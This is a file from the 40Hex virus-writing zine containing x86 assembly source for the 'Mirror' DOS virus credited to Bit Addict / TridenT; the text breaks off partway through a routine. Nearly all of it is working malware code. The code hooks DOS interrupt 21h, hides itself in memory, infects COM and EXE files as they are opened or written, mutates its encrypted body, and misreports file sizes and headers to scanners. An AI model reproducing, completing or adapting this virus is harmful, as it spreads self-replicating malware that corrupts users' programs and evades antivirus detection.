Copy Link
Add to Bookmark
Report
40Hex Issue 13 File 005
40Hex Number 13 Volume 4 Issue 1 File 005
8<------------<mirror.asm>--------------------------------------------------->8
;*****************************************************************************;
; ;
; Mirror: ;
; ;
; Mirror is the reverse of Stealth techniques. This virus doesn't hide the ;
; virus, but but let the scanner think every program is infected by the ;
; virus. The virus is also made to work with every exe file that uses ;
; internal overlays, by making all running programs stealth. ;
; ;
;*****************************************************************************;
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
VirusTop equ $
VirusSize equ (VirusEnd - $)
MemorySize equ (MemoryEnd - $ + VirusSize)
EntryPoint: mov dx,ds
call ExeMain
Relocate equ ($ - VirusTop)
ComExe equ byte ptr [$ - VirusTop - 2]
ExeID equ (ExeMain - $)
ComID equ (ComMain - $)
HeaderLength equ 1ah
TheHeader equ $
Header equ word ptr [$ - VirusTop]
JumpOpcode equ byte ptr [$ - VirusTop]
JumpDisp equ word ptr [$ - VirusTop + 01h]
PartPage equ word ptr [$ - VirusTop + 02h]
PageCount equ word ptr [$ - VirusTop + 04h]
ReloCount equ word ptr [$ - VirusTop + 06h]
HeaderSize equ word ptr [$ - VirusTop + 08h]
MinMem equ word ptr [$ - VirusTop + 0ah]
MaxMem equ word ptr [$ - VirusTop + 0ch]
ExeSS equ word ptr [$ - VirusTop + 0eh]
ExeSP equ word ptr [$ - VirusTop + 10h]
Signature equ word ptr [$ - VirusTop + 12h]
ExeEntry equ dword ptr [$ - VirusTop + 14h]
ExeIP equ word ptr [$ - VirusTop + 14h]
ExeCS equ word ptr [$ - VirusTop + 16h]
RelocationOfs equ word ptr [$ - VirusTop + 18h]
dw "ZM",6 dup(0),0,0ffeh,?,0,-10h,0
VirusID equ byte ptr [$ - VirusTop]
db '[ Mirror: Bit Addict / TridenT ]'
GotoNewCS: db 0eah
dw Continue - VirusTop,?
NewCodeSegment equ word ptr [$ - VirusTop - 2]
ExecuteProg: mov ax,1234h
SavedPSP equ word ptr [$ - VirusTop - 2]
mov ds,ax
mov es,ax
mov ax,1234h
SavedRegAX equ word ptr [$ - VirusTop - 2]
mov dx,1234h
InitExeSS equ word ptr [$ - VirusTop - 2]
mov ss,dx
mov sp,1234h
InitExeSP equ word ptr [$ - VirusTop - 2]
db 0eah,?,?,?,?
InitExeIP equ word ptr [$ - VirusTop - 4]
InitExeCS equ word ptr [$ - VirusTop - 2]
Continue: mov ss,cs:InitExeSS
mov sp,cs:InitExeSP
sti
mov ax,1234h
PatchSegment equ word ptr [$ - VirusTop - 2]
mov bx,1234h
PatchOffset equ word ptr [$ - VirusTop - 2]
mov ds,ax
mov byte ptr ds:[bx-1],9ah
mov word ptr ds:[bx],(Dos - VirusTop)
mov word ptr ds:[bx+2],cs
mov ah,3fh
xor bx,bx
mov cx,1
mov dx,-1
int 21h
mov ah,40h
inc bx
int 21h
mov ds,cs:SavedPSP
mov ax,ds:[2ch]
mov ch,-1
xor di,di
mov es,ax
push cs
pop ds
SearchComspec: or ax,ax
je ExecuteProg
mov cx,8
mov dx,di
mov si,offset Comspec
cld
repe cmpsb
xchg dx,di
je ComspecFound
xor ax,ax
mov ch,0ffh
repne scasb
mov al,es:[di]
jmp SearchComspec
ComspecFound: push es
pop ds
mov ax,3d00h
int 21h
jc ExecuteProg
xchg ax,bx
mov ah,3fh
xor cx,cx
mov dx,-1
int 21h
mov ah,3eh
int 21h
jmp ExecuteProg
Comspec equ byte ptr [$ - VirusTop]
db 'COMSPEC='
ComMain: pop si
mov cx,HeaderLength
mov di,100h
mov ds:InitExeSS[si - Relocate],ss
mov ds:InitExeSP[si - Relocate],sp
mov ds:InitExeCS[si - Relocate],cs
mov ds:InitExeIP[si - Relocate],di
cld
rep movsb
sub si,Relocate + HeaderLength
jmp short Main
ExeMain: pop si
sub si,Relocate
mov bx,ds
add bx,10h
mov cx,bx
push cs
pop ds
add bx,ds:ExeSS[si]
mov ds:InitExeSS[si],bx
mov bx,ds:ExeSP[si]
mov ds:InitExeSP[si],bx
add cx,ds:ExeCS[si]
mov ds:InitExeCS[si],cx
mov cx,ds:ExeIP[si]
mov ds:InitExeIP[si],cx
Main: mov ds:SavedPSP[si],dx
mov ds:SavedRegAX[si],ax
mov ah,34h
int 21h
dec bx
mov ds:DosSDAofs[si],bx
mov ds:DosSDAseg[si],es
mov ah,52h
int 21h
mov ax,es
cmp ax,ds:DosSDAseg[si]
jne CannotInstall
mov ax,es:[bx+4]
mov ds:DosSFTofs[si],ax
mov ax,es:[bx+6]
mov ds:DosSFTseg[si],ax
mov ax,es:[bx-2]
mov ds:FirstMCB[si],ax
sub ax,ds:DosSDAseg[si]
mov cl,4
shl ax,cl
xchg ax,cx
xor di,di
jmp short SearchOpcode
CannotInstall: jmp ExecuteProg
SearchHMA: or di,di
je CannotInstall
mov ax,-1
mov es,ax
mov cx,-10h
mov di,10h
SearchOpcode: mov al,36h
repne scasb
jne SearchHMA
cmp word ptr es:[di],16ffh
jne SearchOpcode
mov ax,es:[di+2]
mov bx,351eh
cmp ax,57ch
je OpcodeFound
mov bx,3b84h
cmp ax,5eah
jne SearchOpcode
OpcodeFound: mov ds:JumpVar[si],ax
mov ds:DosSFTsize[si],bh
mov ds:StackPtr[si],bl
mov ds:PatchOffset[si],di
mov ds:PatchSegment[si],es
mov al,0cbh
repne scasb
jne CannotInstall
dec di
mov ds:ReturnOpcodeOfs[si],di
mov ds:ReturnOpcodeSeg[si],es
mov ax,ds:FirstMCB[si]
xor bx,bx
dec dx
SearchBlock: mov ds,ax
cmp word ptr ds:[bx+1],bx
jne NotFree
cmp word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
jb NotFree
mov dx,ax
NotFree: inc ax
add ax,ds:[bx+3]
cmp byte ptr ds:[bx],"M"
je SearchBlock
mov ds,dx
mov cx,(MemorySize + 0fh) / 10h
add dx,ds:[bx+3]
sub dx,cx
cmp bx,ds:[bx+1]
je FreeBlock
sbb ds:[bx+3],cx
mov al,"M"
xchg al,ds:[bx]
mov ds,dx
mov ds:[bx],al
mov ds:[bx+1],bx
mov ds:[bx+3],cx
FreeBlock: inc dx
mov es,dx
push cs
pop ds
std
mov ax,-1
mov ds:LastPSP[si],ax
mov ds:NewCodeSegment[si],dx
cli
mov cx,(MemoryEnd - VirusEnd)
mov di,offset MemoryEnd - VirusTop - 1
rep stosb
mov cx,(VirusEnd - VirusTop)
add si,offset VirusEnd - VirusTop - 1
rep movsb
jmp GotoNewCS
;*****************************************************************************;
; ;
; New dos entry point ;
; ;
;*****************************************************************************;
dbw macro bval, wval
db bval
dw wval - VirusTop
endm
Functions equ byte ptr [$ - VirusTop]
dbw 11h, FindFCB
dbw 12h, FindFCB
dbw 3ch, CheckFileTable
dbw 3dh, Open
dbw 3fh, Read
dbw 40h, Write
dbw 42h, Seek
dbw 45h, CheckFileTable
dbw 48h, ShowBlock
dbw 4ah, ShowBlock
dbw 4bh, ShowBlock
dbw 4eh, FindFile
dbw 4fh, FindFile
dbw 5ah, CheckFileTable
dbw 5bh, CheckFileTable
dbw 6ch, ExtOpen
LastFunction equ byte ptr [$ - VirusTop]
dbw -1h, DoNothing
Dos: pop cs:DosMainOfs
pop cs:DosMainSeg
push bx
push ds
push cs
pop ds
mov bx,offset Functions - 3
NextFunction: add bx,3
cmp ah,[bx]
je RightFunction
ja NextFunction
mov bx,offset LastFunction
RightFunction: push bp
mov bp,sp
mov bx,[bx+1]
xchg bx,[bp+4]
pop bp
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,ss:[1234h]
JumpVar equ word ptr [$ - VirusTop - 2]
mov cs:DosFunctionOfs,ax
mov ax,cs:DosMainSeg
mov cs:DosFunctionSeg,ax
call GetPSP
cmp word ptr ds:[0],20cdh
jne IllegalPSP
mov ax,ds
cmp ax,0c000h
jae IllegalPSP
cmp ax,1234h
LastPSP equ word ptr [$ - VirusTop - 2]
jne OtherPSP
IllegalPSP: jmp SamePSP
OtherPSP: push cs
pop ds
push cs
pop es
mov ds:LastPSP,ax
cld
mov bx,-1
mov cx,8
mov di,offset StealthNames - 8
NextPSP: add di,8
scasw
ja DoNotClear
mov ds:[di-2],bx
DoNotClear: loop NextPSP
mov cl,7
mov di,offset StealthNames - 10
FindEmptyName: add di,10
cmp ds:[di],bx
je EmptyName
cmp ds:[di],ax
loopne FindEmptyName
EmptyName: stosw
mov si,di
dec ax
cmp ds:DosSFTsize,35h
mov ds,ax
je DosVersion3
mov di,8
jmp BeginOfName
DosVersion3: mov es,ds:[3ch]
push es
pop ds
xor ax,ax
mov ch,-1
xor di,di
NotEnd: repne scasb
scasb
jne NotEnd
inc di
inc di
mov bx,di
repne scasb
NextPathChar: mov al,ds:[di-2]
dec di
cmp al,"\"
je BeginOfName
cmp al,":"
je BeginOfName
cmp di,bx
ja NextPathChar
BeginOfName: push cs
pop es
mov cx,8
xchg si,di
NextNameChar: lodsb
cmp al,"."
je BlankIt
cmp al," "
jbe BlankIt
stosb
loop NextNameChar
BlankIt: mov al," "
rep stosb
SamePSP: call FindMCB
jne Hide_4
cmp ds:[bx+1],bx
je Hide_1
mov dx,ax
Hide_1: push dx
mov ds,ax
mov ds:[bx+1],bx
mov cx,-1
mov ds,dx
Hide_2: mov ax,ds:[bx+3]
inc ax
add cx,ax
add dx,ax
mov al,ds:[bx]
cmp al,"M"
jne Hide_3
mov ds,dx
cmp ds:[bx+1],bx
je Hide_2
Hide_3: pop ds
mov ds:[bx],al
mov ds:[bx+3],cx
Hide_4: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
ret
;*****************************************************************************;
; ;
; Show memory block to prevent overwriting by another program ;
; ;
;*****************************************************************************;
ShowBlock: push ax
push bx
push cx
push dx
push ds
Show_1: call FindMCB
je Show_2
mov ax,cx
sub cx,dx
mov dx,ds:[bx+3]
sub dx,cx
dec cx
call SetMCB
Show_2: mov ds,ax
mov ds:[bx+1],cs
mov cx,(MemorySize + 0fh) / 10h
mov dx,ds:[bx+3]
sub dx,cx
jbe Show_3
call SetMCB
Show_3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp DoNothing
;*****************************************************************************;
; ;
; Directory search ;
; ;
;*****************************************************************************;
CheckExtension: xor ax,ax
mov ch,-1
cld
repne scasb
CheckExt: mov ax,es:[di-4]
or ax,2020h
cmp ax,"xe"
je CheckLastChar
cmp ax,"oc"
jne NotExecFile
mov al,"m"
CheckLastChar: mov ah,es:[di-2]
or ah,20h
cmp ah,al
NotExecFile: ret
FindFile: call DosCall
jc FindFailed
push ax
call GetDTA
push di
add di,1eh
call CheckExtension
pop di
jne WrongFile
RightFile: mov ax,0ddh
sub al,es:[di+1ah]
jz WrongFile
sub al,(VirusSize + 20h) and 0ffh
add ax,(VirusSize + 20h)
add word ptr es:[di+1ah],ax
adc word ptr es:[di+1ch],0
WrongFile: pop ax
FindFailed: jmp DosMain
FindFCB: call DosCall
cmp al,0
jne FindFailed
push ax
call GetDTA
cmp byte ptr es:[di],-1
jne NotExtendedFCB
add di,7
NotExtendedFCB: add di,0dh
call CheckExt
jne WrongFile
sub di,0ah
jmp RightFile
;*****************************************************************************;
; ;
; Seeking to the end of a mirrored file ;
; ;
;*****************************************************************************;
Seek: cmp al,2
jne DoSeek
call FindHandle
jnz DoSeek
test byte ptr cs:[si+6],80h
mov si,cs:TotalSize
jnz SeekStealth
SeekMirror: add dx,si
adc cx,0
jmp short DoSeek
SeekStealth: sub dx,si
sbb cx,0
DoSeek: jmp DoNothing
;*****************************************************************************;
; ;
; Routines to call the orginal dos code ;
; ;
;*****************************************************************************;
StackFrame: db 36h,0c5h,36h,?,5
StackPtr equ byte ptr [$ - VirusTop - 2]
ret
WriteCall: push ax
mov ax,cs:WriteFunction
jmp short ReadWriteCall
ReadCall: push ax
mov ax,cs:ReadFunction
ReadWriteCall: mov cs:DosFunctionOfs,ax
pop ax
DosCall: push cs
call JumpToFunction
mov ah,ds:[si+22]
sahf
mov ah,ds:[si+1]
mov bx,ds:[si+2]
mov cx,ds:[si+4]
mov dx,ds:[si+6]
ret
DosMain: db 0eah
dd ?
DosMainOfs equ word ptr [$ - VirusTop - 4]
DosMainSeg equ word ptr [$ - VirusTop - 2]
JumpToFunction: push ax
push cx
push bp
mov bp,sp
mov ax,1234h
ReturnOpcodeSeg equ word ptr [$ - VirusTop - 2]
sub ax,cs:DosFunctionSeg
mov cl,4
shl ax,cl
add ax,1234h
ReturnOpcodeOfs equ word ptr [$ - VirusTop - 2]
xchg ax,ss:[bp+4]
pop bp
pop cx
jmp short DosFunction
DoNothing: push cs:DosMainOfs
DosFunction: db 0eah
dw ?,?,0a839h,0a89fh
DosFunctionOfs equ word ptr [$ - VirusTop - 8]
DosFunctionSeg equ word ptr [$ - VirusTop - 6]
ReadFunction equ word ptr [$ - VirusTop - 4]
WriteFunction equ word ptr [$ - VirusTop - 2]
;*****************************************************************************;
; ;
; Opening a mirrored file ;
; ;
;*****************************************************************************;
ChkHandles: push ax
push bx
push cx
push si
push ds
mov bx,offset FileTable
mov cx,MaxFiles
ChkNextHandle: cmp word ptr cs:[bx],-1
je ChkHandleOk
mov ax,cs:[bx]
call FindSFT
cmp word ptr ds:[si],0
jne ChkHandleOk
mov word ptr cs:[bx],-1
ChkHandleOk: add bx,FileTableEntry
loop ChkNextHandle
pop ds
pop si
pop cx
pop bx
pop ax
ret
CheckFileTable: call ChkHandles
jmp DoNothing
ExtOpen: call ChkHandles
or al,al
jnz DoNothing
call DosCall
jc DosMain
cmp cl,1
jne DosMain
jmp OpenOk
Open: call ChkHandles
call DosCall
jc DosMain
OpenOk: push ds:[si+22]
push ax
xchg ax,bx
call GetSFTindex
call FindSFT
test byte ptr ds:[si+5],80h
jnz NotExecutable
push ds
pop es
lea di,[si+2ch]
call CheckExt
NotExecutable: jz Executable
jmp DoNotInfect
Executable: pop bx
mov cx,HeaderLength
mov dx,offset Header
push cs
pop ds
push bx
call ReadCall
call LastSFT
mov byte ptr ds:[si+15h],3ch
pop bx
mov cx,4
mov dx,offset NewExeOfs
push cs
pop ds
push bx
call ReadCall
call LastSFT
mov ax,ds:[si+11h]
mov cs:FileSizeL,ax
mov ax,ds:[si+13h]
mov cs:FileSizeH,ax
push cs
pop es
mov cx,8
mov di,offset StealthNames - 8
cld
NextName: jcxz NotStealth
mov ax,-1
dec cx
add di,8
scasw
je NextName
push cx
push si
push di
mov cx,8
add si,20h
repe cmpsb
pop di
pop si
pop cx
jne NextName
jmp short StealthMode
NotStealth: cmp byte ptr ds:[si+11h],0ddh
je DoNotInfect
call CalcImageSize
cmp ds:[si+13h],dx
jb DoNotInfect
ja FileSizeOk
cmp ds:[si+11h],ax
jb DoNotInfect
FileSizeOk: call CalcImageSize
mov dx,0
mov si,offset Header
jc StoreFileInfo
push cs
pop ds
cmp ds:RelocationOfs,40h
jb StoreFileInfo
cmp ds:NewExeOfsL,dx
jne DoNotInfect
cmp ds:NewExeOfsH,dx
jne DoNotInfect
StoreFileInfo: push si
mov bx,-1
call FindHandle
mov bx,si
pop si
jne DoNotInfect
push cs
pop ds
mov ds:[bx],1234h
LastSFTindex equ word ptr [$ - VirusTop - 2]
mov ax,ds:FileSizeL
mov ds:[bx+2],ax
mov ax,ds:FileSizeH
mov ds:[bx+4],ax
mov ds:[bx+6],dl
mov cx,HeaderLength
lea di,[bx+7]
cld
rep movsb
DoNotInfect: xor ax,ax
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],ax
call StackFrame
pop ax
mov ds:[si],ax
pop ds:[si+22]
jmp DosMain
StealthMode: cmp byte ptr ds:[si+11h],0ddh
jne DoNotInfect
call CalcImageSize
mov cx,cs:Signature
sub ax,cx
sbb dx,0
mov ds:[si+15h],ax
mov ds:[si+17h],dx
push cs
pop ds
sub ds:FileSizeL,cx
sbb ds:FileSizeH,0
cmp dx,10h
jae DoNotInfect
call SplitImageSize
call CalcImageSize
mov cx,10h
div cx
sub dx,ds:ExeIP
jne DoNotInfect
sub ax,ds:HeaderSize
sub ax,ds:ExeCS
jne DoNotInfect
pop bx
push bx
call ReadVirus
jne DoNotInfect
mov dl,85h
lea si,ds:[di+Header-VirusID-20h]
jmp StoreFileInfo
GetSFTindex: push si
push ds
call GetPSP
lea ax,[bx+1]
cmp ds:[32h],ax
jb InvalidHandle
lds si,ds:[34h]
mov al,ds:[bx+si]
sub ah,ah
mov cs:LastSFTindex,ax
InvalidHandle: pop ds
pop si
ret
FindSFT: mov si,1234h
DosSFTseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
DosSFTofs equ word ptr [$ - VirusTop - 2]
NextSFT: cmp ax,ds:[si+4]
jb RightSFT
sub ax,ds:[si+4]
lds si,ds:[si]
jmp short NextSFT
RightSFT: mov ah,12h
DosSFTsize equ byte ptr [$ - VirusTop - 1]
mul ah
add si,ax
add si,6
mov cs:LastSFTofs,si
mov cs:LastSFTseg,ds
LastSFT: mov si,1234h
LastSFTseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
LastSFTofs equ word ptr [$ - VirusTop - 2]
ret
GetDTA: call DosSDA
les di,ds:[si+0ch]
DosSDA: mov si,1234h
DosSDAseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
DosSDAofs equ word ptr [$ - VirusTop - 2]
ret
GetPSP: call DosSDA
mov ds,ds:[si+10h]
ret
;*****************************************************************************;
; ;
; Reading from and writing to a mirrored file ;
; ;
;*****************************************************************************;
Read: cmp dx,-1
jne NotInfectCmd
or cx,cx
jne NotInfectCmd
call FindHandle
jnz AbortAction
call InfectFile
jmp short AbortAction
NotInfectCmd: push ax
mov ax,cs:DosFunctionOfs
mov cs:ReadFunction,ax
call FindHandle
jnz RdOtherHandle
mov ah,40h
or ah,cs:[si+6]
or byte ptr cs:[si+6],1
sahf
RdOtherHandle: pop ax
jnz OtherHandle
jns _ReadMirror
jmp ReadStealth
Write: push ax
mov ax,cs:DosFunctionOfs
mov cs:WriteFunction,ax
call FindHandle
jnz WrOtherHandle
mov ah,40h
or ah,cs:[si+6]
or byte ptr cs:[si+6],4
sahf
WrOtherHandle: pop ax
jnz OtherHandle
js _WriteStealth
jp RemoveHandle
jc WriteMirror
call InfectFile
jc WriteMirror
RemoveHandle: call FindHandle
mov word ptr cs:[si],-1
ActionOk: jmp DoNothing
OtherHandle: cmp bx,2
jae ActionOk
cmp dx,-1
jne ActionOk
AbortAction: jmp DosMain
_WriteStealth: jmp WriteStealth
_ReadMirror: jmp ReadMirror
_Truncate: jmp Truncate
IllegalWrite: mov ax,5
call DosSDA
mov word ptr ds:[si+2],1ffh
mov word ptr ds:[si+4],ax
mov word ptr ds:[si+6],307h
call StackFrame
mov ds:[si],ax
or ds:[si+22],al
jmp DosMain
WriteMirror: call SplitCount
jcxz _Truncate
call CompareHeaders
jne IllegalWrite
call CompareViruses
jne IllegalWrite
call FindHandle
ReadMirror: call SplitCount
push ds
mov ax,1234h
VirusOffset equ word ptr [$ - VirusTop - 2]
call LastSFT
sub word ptr ds:[si+15h],ax
sbb word ptr ds:[si+17h],0
pop ds
xor ax,ax
sub cx,cs:VirusCount
jcxz ReadZero
call DosCall
ReadZero: pushf
push ax
push cs
pop ds
mov ax,ds:VirusCount
add ax,ds:VirusOffset
call LastSFT
add word ptr ds:[si+15h],ax
adc word ptr ds:[si+17h],0
pop ax
popf
jc ReadError
add ax,cs:VirusCount
push ax
call StackFrame
xchg ax,cx
mov ds:[si],cx
mov bx,ds:[si+6]
mov es,ds:[si+14]
mov ds,ds:[si+14]
call SplitCount
mov di,1234h
VirusCount equ word ptr [$ - VirusTop - 2]
or di,di
jz NewHeader
call Mutate
mov cx,1234h
OverlayCount equ word ptr [$ - VirusTop - 2]
mov si,1234h
ImageCount equ word ptr [$ - VirusTop - 2]
add si,bx
push si
push di
jcxz DoNotMove
dec si
add si,cx
add di,si
std
rep movsb
DoNotMove: push cs
pop ds
pop cx
pop di
mov si,offset Buffer
add si,ds:VirusOffset
cld
rep movsb
NewHeader: mov cx,ds:HeaderCount
jcxz ReadError
call UpdateHeader
mov cx,ds:HeaderCount
mov si,ds:SFT_FilePosL
lea di,[bx+si]
add si,offset Header
cld
rep movsb
ReadError: pop ax
jmp DosMain
Truncate: push ds
call LastSFT
mov ax,cs:VirusOffset
sub ds:[si+15h],ax
sbb word ptr ds:[si+17h],0
pop ds
call DosCall
pushf
push ax
push ds:[si+2]
call LastSFT
mov ax,cs:VirusOffset
add word ptr ds:[si+15h],ax
adc word ptr ds:[si+17h],0
pop bx
pop ax
popf
jc TruncateEnd
call FindHandle
mov word ptr cs:[si],-1
TruncateEnd: jmp DosMain
WriteStealth: call SplitCount
neg cs:VirusOffset
jcxz Truncate
call ChangeHeader
ReadStealth: call SplitCount
push ds
mov cx,cs:HeaderCount
call LastSFT
add word ptr ds:[si+15h],cx
adc word ptr ds:[si+17h],0
pop ds
push dx
push ds
add dx,cx
neg cx
add cx,cs:ImageCount
jcxz FirstCntZero
call DosCall
FirstCntZero: call LastSFT
add word ptr ds:[si+15h],1234
TotalSize equ word ptr [$ - VirusTop - 2]
adc word ptr ds:[si+17h],0
pop ds
pop dx
push dx
push ds
xor ax,ax
mov cx,1234h
StealthCount equ word ptr [$ - VirusTop - 2]
add dx,cs:ImageCount
jcxz SecondCntZero
call DosCall
SecondCntZero: call LastSFT
mov cx,cs:TotalSize
sub word ptr ds:[si+15h],cx
sbb word ptr ds:[si+17h],0
push cs
pop ds
pop es
pop di
add ax,ds:ImageCount
mov cx,ds:HeaderCount
jcxz EndOfRead
mov si,offset Header
add si,ds:SFT_FilePosL
cld
rep movsb
EndOfRead: call StackFrame
mov ds:[si],ax
jmp DosMain
CompareHeaders: push cx
mov cx,cs:HeaderCount
jcxz NoHeaderWrite
push si
push di
push es
push dx
push ds
call UpdateHeader
pop ds
pop dx
push cs
pop es
mov cx,1234h
HeaderCount equ word ptr [$ - VirusTop - 2]
mov si,dx
mov di,offset Header
cld
repe cmpsb
pop es
pop di
pop si
NoHeaderWrite: pop cx
ret
CompareViruses: push cx
mov cx,cs:VirusCount
jcxz NoVirusWrite
push cx
push si
push dx
call Mutate
pop dx
push di
push es
push cs
pop es
mov cx,cs:VirusCount
mov si,dx
add si,cs:ImageCount
mov di,offset Buffer
add di,cs:VirusOffset
push si
cld
repe cmpsb
mov si,di
pop di
jne DoNotRemove
push ds
pop es
mov cx,cs:OverlayCount
rep movsb
DoNotRemove: pop es
pop di
pop si
NoVirusWrite: pop cx
ret
SplitCount: push ax
push bx
push cx
push dx
push si
push di
push ds
push cs
pop ds
mov ax,HeaderLength
cwd
mov si,ds:SFT_FilePosL
mov di,ds:SFT_FilePosH
call CalcCounter
add cx,bx
sub si,bx
mov ds:HeaderCount,bx
push cx
call CalcImageSize
pop cx
xor bx,bx
sub si,ax
sbb di,dx
jb VirusOfsOk
mov bx,ds:TotalSize
ja VirusOfsOk
cmp si,bx
ja VirusOfsOk
mov bx,si
VirusOfsOk: mov ds:VirusOffset,bx
add si,ax
adc di,dx
call CalcCounter
mov ds:ImageCount,bx
cmp ds:HeaderCount,bx
jbe HeaderCountOk
mov ds:HeaderCount,bx
HeaderCountOk: add ax,ds:TotalSize
add dx,0
call CalcCounter
mov ds:VirusCount,bx
mov ds:OverlayCount,cx
add cx,bx
mov ds:StealthCount,cx
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
CalcCounter: push ax
push dx
xor bx,bx
sub ax,si
sbb dx,di
jb CounterOk
mov bx,cx
jne CounterOk
cmp ax,cx
jae CounterOk
xchg ax,bx
CounterOk: sub cx,bx
add si,bx
adc di,0
pop dx
pop ax
ret
ChangeHeader: cmp cs:HeaderCount,0
je NoHeaderChange
push ax
push bx
push cx
push si
push di
push es
push dx
push ds
call CalcImageSize
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],dx
call ReadVirus
jne WriteError
mov cx,ds:HeaderCount
mov di,offset Buffer + Header
add di,ds:DecryptorSize
add di,ds:SFT_FilePosL
pop ds
pop si
push si
push ds
cld
rep movsb
and cs:MutationFlags,07fh
call Mutate
call CalcImageSize
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],dx
push cs
pop ds
mov cx,ds:TotalSize
mov dx,offset Buffer
call DosCall
WriteError: call LastSFT
mov ax,cs:SFT_FilePosL
mov word ptr ds:[si+15h],ax
mov ax,cs:SFT_FilePosH
mov word ptr ds:[si+17h],ax
pop ds
pop dx
pop es
pop di
pop si
pop cx
pop bx
pop ax
NoHeaderChange: ret
ReadVirus: call MutationParms
push cs:DosFunctionOfs
call StackFrame
push ds:[si]
push ds:[si+22]
push cs
pop ds
mov cx,ds:TotalSize
mov dx,offset Buffer
call ReadCall
pop ds:[si+22]
pop ds:[si]
push cs
pop ds
pop ds:DosFunctionOfs
or ds:MutationFlags,80h
call Mutate
push cs
pop es
mov cx,20h
mov si,offset VirusID
mov di,offset Buffer + VirusID
add di,ds:DecryptorSize
cld
repe cmpsb
ret
;*****************************************************************************;
; ;
; Write the virus to an existing file ;
; ;
;*****************************************************************************;
Fail: mov al,3
iret
InfectFile: push cs:DosFunctionOfs
push ax
push cx
push dx
push si
push ds
xor ax,ax
mov ds,ax
mov ax,offset Fail - VirusTop
xchg ax,ds:[90h]
push ax
mov ax,cs
xchg ax,ds:[92h]
push ax
push ds
push cs
pop ds
mov ax,ds:SFT_FileSizeL
cmp al,0ddh
stc
je InfectError
mov ds:FileSizeL,ax
mov ax,ds:SFT_FileSizeH
mov ds:FileSizeH,ax
call CalcImageSize
sub ax,ds:SFT_FileSizeL
sbb dx,ds:SFT_FileSizeH
jc InfectError
call Mutate
call LastSFT
and byte ptr ds:[si+2],0feh
or byte ptr ds:[si+2],2
and byte ptr ds:[si+4],3ah
mov ax,ds:[si+11h]
mov ds:[si+15h],ax
mov ax,ds:[si+13h]
mov ds:[si+17h],ax
push cs
pop ds
mov cx,cs:TotalSize
mov dx,offset Buffer
call WriteCall
jc InfectError
call LastSFT
xor ax,ax
mov ds:[si+15h],ax
mov ds:[si+17h],ax
call UpdateHeader
mov cx,HeaderLength
mov dx,offset Header
call WriteCall
InfectError: call LastSFT
mov ax,cs:SFT_OpenMode
mov ds:[si+2],ax
mov al,cs:SFT_Attribute
mov byte ptr ds:[si+4],al
mov ax,cs:SFT_DeviceInfo
mov ds:[si+6],ah
mov ax,cs:SFT_FilePosL
mov ds:[si+17h],ax
mov ax,cs:SFT_FilePosH
mov ds:[si+19h],ax
pop ds
pop word ptr ds:[92h]
pop word ptr ds:[90h]
pop ds
pop si
pop dx
pop cx
pop ax
pop cs:DosFunctionOfs
ret
;*****************************************************************************;
; ;
; Library used by all parts of the virus ;
; ;
;*****************************************************************************;
UpdateHeader: push cs
pop ds
call CalcImageSize
mov cx,10h
cmp dx,cx
jae HeaderOk
div cx
sub ax,ds:HeaderSize
mov ds:ExeCS,ax
mov ds:ExeIP,dx
mov dx,ds:TotalSize
mov ds:Signature,dx
mov cl,4
shr dx,cl
inc dx
add ax,dx
mov ds:ExeSS,ax
mov ds:ExeSP,400h
call CalcImageSize
add ax,ds:TotalSize
adc dx,0
call SplitImageSize
mov ax,(MemorySize - VirusSize + 3fh) / 10h
add ax,ds:MinMem
mov ds:MinMem,ax
cmp ds:MaxMem,ax
jae ComFileHeader
mov ds:MaxMem,ax
ComFileHeader: call CalcImageSize
jnc HeaderOk
sub ax,3
mov ds:JumpOpcode,0e9h
mov ds:JumpDisp,ax
HeaderOk: ret
SplitImageSize: mov cx,200h
and dx,0fh
div cx
mov ds:PartPage,dx
add dx,-1
adc ax,0
mov ds:PageCount,ax
ret
FindHandle: push ax
push cx
push ds
push cs
pop ds
mov ax,bx
cmp bx,-1
je EmptyHandle
call GetSFTindex
jc HandleNotFound
EmptyHandle: mov cx,MaxFiles
mov si,offset FileTable - FileTableEntry
NextHandle: add si,FileTableEntry
cmp ds:[si],ax
loopne NextHandle
pushf
jne SpeedUp
cmp ax,-1
je SpeedUp
push dx
push si
push di
push es
push cs
pop es
cld
lodsw
push ax
lodsw
mov ds:FileSizeL,ax
lodsw
mov ds:FileSizeH,ax
inc si
mov di,offset Header
rep movsb
pop ax
call FindSFT
mov cx,19h
mov di,offset SFT_Entry
rep movsb
pop es
pop di
call MutationParms
pop si
pop dx
SpeedUp: popf
HandleNotFound: pop ds
pop cx
pop ax
ret
MutationParms: push cs
pop ds
mov ax,ds:FileSizeL
mov cx,ax
add cx,ds:FileSizeH
mov ds:Randomize,cx
mov cx,VirusSize + 20h
add al,cl
neg al
add al,0ddh
xor ah,ah
add cx,ax
mov ds:TotalSize,cx
and al,3fh
add al,20h
sub cx,ax
mov ds:CodeSize,cx
mov ds:DecryptorSize,ax
call CalcImageSize
jnc ExeOffset
add ax,100h
mov dx,300h + ComID
jmp SetOffset
ExeOffset: and ax,00fh
mov dx,000h + ExeID
SetOffset: mov ds:DecryptorOfs,ax
mov ds:ComExe,dl
mov ds:MutationFlags,dh
ret
CalcImageSize: cmp cs:Header,"MZ"
je ExeFileHeader
cmp cs:Header,"ZM"
je ExeFileHeader
mov ax,1234h
FileSizeL equ word ptr [$ - VirusTop - 2]
mov dx,1234h
FileSizeH equ word ptr [$ - VirusTop - 2]
stc
ret
ExeFileHeader: mov ax,cs:PageCount
mov cx,cs:PartPage
jcxz ExactPage
dec ax
ExactPage: mov dx,200h
mul dx
add ax,cx
clc
ret
SetMCB: mov ds:[bx+3],cx
mov cl,"M"
xchg cl,ds:[bx]
mov ds,ax
mov ds:[bx],cl
mov ds:[bx+1],bx
mov ds:[bx+3],dx
ret
FindMCB: mov ax,1234h
FirstMCB equ word ptr [$ - VirusTop - 2]
xor bx,bx
mov cx,cs
dec cx
FindNext: mov ds,ax
mov dx,ax
